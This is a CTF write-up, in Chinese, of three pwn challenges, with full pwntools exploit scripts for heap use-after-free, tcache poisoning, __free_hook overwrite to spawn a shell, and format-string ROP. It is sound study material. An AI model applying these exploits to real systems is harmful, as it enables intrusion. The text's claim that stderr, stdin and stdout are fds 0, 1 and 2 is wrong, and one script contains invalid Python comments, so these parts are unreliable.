Summary
ezfile:利用UAF来修改stdin的fileno为3,然后再栈溢出控制rdi为.flag然后返回到open fd的位置。这个时候将.flag的内容做为名字输入再打印出来。就可以泄露flag了。注意改到stdin位置和栈地址都需要爆破一位(1/16*16)
new_heap:2.29 double free,利用没有setbuf(stdin)的漏洞,getchar来分配大chunk触发consolidation,来进行overlapping、UAF,io leak libc地址,改hook来getshell
unprintbleV:关闭了输出流,格式化字符串。两种方法:第一种方法利用格式化字符串改bss中stdout为stderr。第二种方法利用格式化字符串改stdout中fileno为2。leak libc写入one_gadget
0x01 ezfile
查看文件
IDA分析
前面有些别的操作,比如开沙箱,然后open一个文件。我们看沙箱知道只能读出flag了。
继续看功能:
删除功能:(UAF)
创建功能:
加密功能:(栈溢出)
思路
这里需要普及一下知识:
当程序运行:stderr的fileno为0,stdin的fileno是1,stdout的fileno是2。那么再open一个fd,它的fileno就是3.(再分配就继续加一),那么当我们伪造stdin的fileno为3的时候,也就是我们将要打开的文件时,他就会误将这个文件的内容作为输入。
通过调试我们看到栈溢出数据可以构造来控制rdi寄存器,以及返回地址。
exp
# decode = utf-8
from pwn import *
context.log_level = "debug"
p = process("./ezfile")
libc = ELF("./libc.so.6")
elf = ELF("./ezfile")
def create(size, content):
p.sendlineafter('>>', '1')
p.sendlineafter('>>', str(size))
p.sendafter('>>', content)
def delete(index):
p.sendlineafter('>>', '2')
p.sendlineafter('>>', str(index))
p.sendafter("name: ","a"*0x10+"\n")
# 第一步控制fd来改fileno,这里有个技巧是通过fastbin分配后其它chunk进入tcache的特点来劫持的。
create(0x10,p64(0)+p64(0x21))
for i in range(6):
create(0x10,"\n")
for i in range(7):
delete(0)
delete(1)
create(0x1,"\x80")
create(0x1,"\n")
create(0x9,p64(0)+"\xa1")
for i in range(8):
delete(1)
delete(9)
create(0x12,p64(0)+p64(0x21)+"\x60\xfa") # 注意这里不能改为0x70,因为最后会导致运行的时候更新tcache链时溢出,破环ebp数据,由于在fastbin是0x60去tcache后会加上头部的0x10
# gdb.attach(p)
create(0x18,"aaaa\n")
create(1,p8(0x3))
# 改返回地址和rdi数据
p.sendlineafter('>>', '3')
p.sendlineafter('>>', '0') # O_RDONLY
# gdb.attach(sh,"b *0x5555555550c0")
payload = './flag'.ljust(0x68, '\x00') + p16(0x14c + 5 * 0x1000)
# payload = 'flag\0'.ljust(0x68, '\0') + '\x4c\x51'
gdb.attach(p,"b *0x5555555550c0")
p.sendlineafter('>', str(len(payload)))
p.sendafter('>>', payload)
# create(8,p64(3))
# gdb.attach(p)
p.interactive()
0x02 new_heap
查看文件
IDA分析
主程序:
func函数:
create函数:
delete函数:
逻辑非常简单,那么利用思路就会极其复杂,这已经是常态了。
考察点:在没有生成大于fastbin chunk的条件下,利用malloc_consolidation进行创造出大 chunk。在UAF的条件下控制tcache的头和tcache的链。
思路
思路就是:
1.先分配出足够多的chunk再删除放到fastbin中,再利用malloc_consolidation进行合并操作 放到unsorted bin之中。
2.通过没有关闭缓冲区的漏洞来触发分配大chunk给输出缓冲区。
利用这个大chunk分配一个比之前大的chunk修改数据利用UAF,进行overlapping控制list,io file attack来leak libc。
再利用输出倒数第二位chunk地址来劫持tcache header(因为再进行tcahe list control的过程中已经弄坏了tcache list了,所以最后 修改hook的时候需要再利用tcache 0x250的header来切除chunk控制list)
步骤
步骤一:填满tcache并释放两个chunk到fastbin
for i in range(9):
create(0x58,"a"*8)
for i in range(2,9):
delete(i)
delete(0)
delete(1)
步骤二:利用malloc_consolidation来合并两个chunk,分配之前tcache已经满的size chunk,将这个覆盖了的chunk释放到tcache中,分配0x78的chunk,覆盖掉刚刚 释放再tcache中的chunk的fd数据
1.利用malloc_consoilidation来合并fastbin中的chunk
p.recvuntil("exit\n")
p.sendline("3")
p.recvuntil("sure?\n")
p.sendline("n\n")
2.分配一个0x60的chunk,为了将第二个fastbin释放到tcache中,为了后来的覆盖数据来控制tcache list
create(0x58,"a"*8)
delete(1)
现在tcache中唯一的一个0x2c0的chunk是我们要修改fd的chunk
3.分配0x80,由于tcache中没有,回到fastbin中找也没有,再到unsorted bin中找也是空的,所以再smallbin中找到并切分
create(0x78,"a"*0x58+p64(0x41)+"\x10"+chr(heap_last_address-2))
修改后:
exp
#coding=utf8
from pwn import *
context.log_level = 'debug'
binary_name = 'new_heap'
p = process("./new_heap")
elf = ELF("./new_heap")
# libc = ELF("./libc.so.6")
libc = ELF("/usr/lib/x86_64-linux-gnu/libc-2.29.so")
def create(sz,con):
p.sendlineafter('3.','1')
p.sendlineafter('size',str(sz))
p.sendafter('content',con)
def delete(idx):
p.sendlineafter('3.','2')
p.sendlineafter('index',str(idx))
p.recvuntil('good present for African friends:')
heap_last_address = int(p.recvline()[:-1],16)
for i in range(9):
create(0x58,"a"*8)
for i in range(2,9):
delete(i)
delete(0) // 多余的两个chunk进入fastbin
delete(1)
p.recvuntil("exit\n")
p.sendline("3")
p.recvuntil("sure?\n")
p.sendline("n\n") // malloc_consolidation合并两个fastbin进入small bin中
create(0x58,"a"*8) // 为释放进第二个fastbinchunk进入tcache腾出位置
delete(1) // 释放第二个chunk进入tcache,为了后面分配大chunk的控制list
create(0x78,"a"*0x58+p64(0x41)+"\x10"+chr(heap_last_address-2)) # 控制list
create(0x78,"shinnosuke") # 为了将这个剩余的0x40 chunk归类到smallbin中
create(0x58,p64(0)*3+p64(0x41)+"\x60\x37") # 为了修改fd为stdout位置
delete(1) # 将这个0x40的chunk释放到tcache中,其实在这个位置+0x20的位置就是fd为stdout的chunk,我们在后面会在tcache header中修改
create(0x58,p64(0x0000000000020000)+p64(0)*3 + p64(0x7000000) + p64(0)*5+"\xe0"+chr(heap_last_address)) # 修改fd为tcache header,这里还要将tcache 0x250的list的number设置为7,为了再一次利用header来控制tcache list
create(0x30,"/bin/sh\x00")
create(0x30,p64(0xfbad1800)+p64(0)*3+"\x00")
p.recv(8)
p.recv(8)
offset__IO_stdfile_2_lock= 0x1e7570
libc.address = u64(p.recv(6).ljust(8,"\x00")) - offset__IO_stdfile_2_lock
print "libc address: ",hex(libc.address)
delete(13)
create(0x68,p64(0x0000000000000001)+p64(0)*7+p64(libc.symbols["__free_hook"]))
create(0x18,p64(libc.symbols["system"]))
delete(14)
# gdb.attach(p)
p.interactive()
0x03 unprintbleV
查看文件
IDA分析
main函数中:
查看menu函数:
查看vuln函数:
程序逻辑如下:
题目开始给一个栈地址,同时关闭输出流(也就是说printf等函数无法打印信息)。后面则紧跟一个可以利用64次的格式化字符串漏洞。之前看到过D1CTF的unprintable题目。这道题跟之前题目的思路不一样:前者通过劫持exit函数来进行劫持栈地址进行ROP。这里要考虑如何进行恢复输出流操作。
思路
小trick:这里有两种方法来恢复输出流的操作:
(1).改stdout为stderr(stdout是标准输出流,我们之前关闭的是这个函数。当我们将stdout的值覆盖为stderr时就可以继续输出)
步骤
步骤一:首先利用格式化字符串改掉stdout为stderr
p.recvuntil("gift: 0x")
buf_stack = int(p.recv(12),16)
print hex(buf_stack)
count = 0x64
index = buf_stack&0xff
payload = "%"+str(int(index))+"c%6$hhn"
sendInfo(payload)
payload = "%32c%10$hhn"
sendInfo(payload)
payload = "%1664c%9$hn"
sendInfo(payload)
步骤二:可以输出后就泄露libc地址和程序基址
payload = "%7$p"
sendInfo(payload)
p.recvuntil("0x")
base_addr = int(p.recv(12),16)-0xafb
print hex(base_addr)
payload = "%15$p"
# gdb.attach(p,"b *0x555555554a20")
sendInfo(payload)
p.recvuntil("0x")
libc_addr = int(p.recv(12),16)-231-libc.symbols["__libc_start_main"]
libc.address = libc_addr
步骤三:修改返回地址,劫持栈
set_value(base_addr+0x850,index+0x10,2)
set_value(base_addr+0x202080,index+0x18,6)
set_value(base_addr+0x9f8,index+0x20,6)
步骤四:准备ROP(open、read、write来泄露出flag)注意:本来之前想用mprotect的方式来搞,但是由于最后gets的时候应该是由于stdout改变了会报错,然后用read读取shellcode,但是由于最后输入输出流关闭了无法读入shellcode,遂放弃。
# open
rop =p64(0)
rop +=p64(libc.search(asm("pop rdi\nret\n")).next())
rop +=p64(base_addr+0x202070)
rop +=p64(libc.search(asm("pop rsi\nret\n")).next())
rop +=p64(0)
rop +=p64(libc.search(asm("pop rdx\nret\n")).next())
rop +=p64(0)
rop +=p64(libc.symbols['open'])
# read
rop +=p64(libc.search(asm("pop rdi\nret\n")).next())
rop +=p64(1)
rop +=p64(libc.search(asm("pop rsi\nret\n")).next())
rop +=p64(base_addr+0x202300)
rop +=p64(libc.search(asm("pop rdx\nret\n")).next())
rop +=p64(100)
rop +=p64(libc.symbols["read"])
# write
rop +=p64(libc.search(asm("pop rdi\nret\n")).next())
rop +=p64(2)
rop +=p64(libc.search(asm("pop rsi\nret\n")).next())
rop +=p64(base_addr+0x202300)
rop +=p64(libc.search(asm("pop rdx\nret\n")).next())
rop +=p64(100)
rop +=p64(libc.symbols["write"])
exp
# decode=utf-8
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
p = process("./unprintableV")
elf = ELF("./unprintableV")
libc = ELF("./libc.so.6")
def sendInfo(payload):
global count
p.send(payload.ljust(300,"\x00"))
sleep(0.1)
count = count-1
def set_value(c1,index_,n):
for i in range(n):
payload ='%'+str(int(index_+i))+'d%6$hhn'
sendInfo(payload)
one_gadget1 = ((c1)>>(i*8))&0xff
payload = "%"+str(one_gadget1)+"d%10$hhn"
sendInfo(payload)
p.recvuntil("gift: 0x")
buf_stack = int(p.recv(12),16)
print hex(buf_stack)
count = 0x64
index = buf_stack&0xff
payload = "%"+str(int(index))+"c%6$hhn"
sendInfo(payload)
payload = "%32c%10$hhn"
sendInfo(payload)
payload = "%1664c%9$hn"
sendInfo(payload)
payload = "%7$p"
sendInfo(payload)
p.recvuntil("0x")
base_addr = int(p.recv(12),16)-0xafb
print hex(base_addr)
payload = "%15$p"
# gdb.attach(p,"b *0x555555554a20")
sendInfo(payload)
p.recvuntil("0x")
libc_addr = int(p.recv(12),16)-231-libc.symbols["__libc_start_main"]
libc.address = libc_addr
# open
rop =p64(0)
rop +=p64(libc.search(asm("pop rdi\nret\n")).next())
rop +=p64(base_addr+0x202070)
rop +=p64(libc.search(asm("pop rsi\nret\n")).next())
rop +=p64(0)
rop +=p64(libc.search(asm("pop rdx\nret\n")).next())
rop +=p64(0)
rop +=p64(libc.symbols['open'])
# read
rop +=p64(libc.search(asm("pop rdi\nret\n")).next())
rop +=p64(1)
rop +=p64(libc.search(asm("pop rsi\nret\n")).next())
rop +=p64(base_addr+0x202300)
rop +=p64(libc.search(asm("pop rdx\nret\n")).next())
rop +=p64(100)
rop +=p64(libc.symbols["read"])
# write
rop +=p64(libc.search(asm("pop rdi\nret\n")).next())
rop +=p64(2)
rop +=p64(libc.search(asm("pop rsi\nret\n")).next())
rop +=p64(base_addr+0x202300)
rop +=p64(libc.search(asm("pop rdx\nret\n")).next())
rop +=p64(100)
rop +=p64(libc.symbols["write"])
set_value(base_addr+0x850,index+0x10,2)
set_value(base_addr+0x202080,index+0x18,6)
set_value(base_addr+0x9f8,index+0x20,6)
print len(rop)
sleep(1)
payload="d^3CTF"
payload=payload.ljust(0x10,'\x00')
payload+="flag"
payload=payload.ljust(0x20,'\x00')
payload=payload+rop
sendInfo(payload)
p.interactive()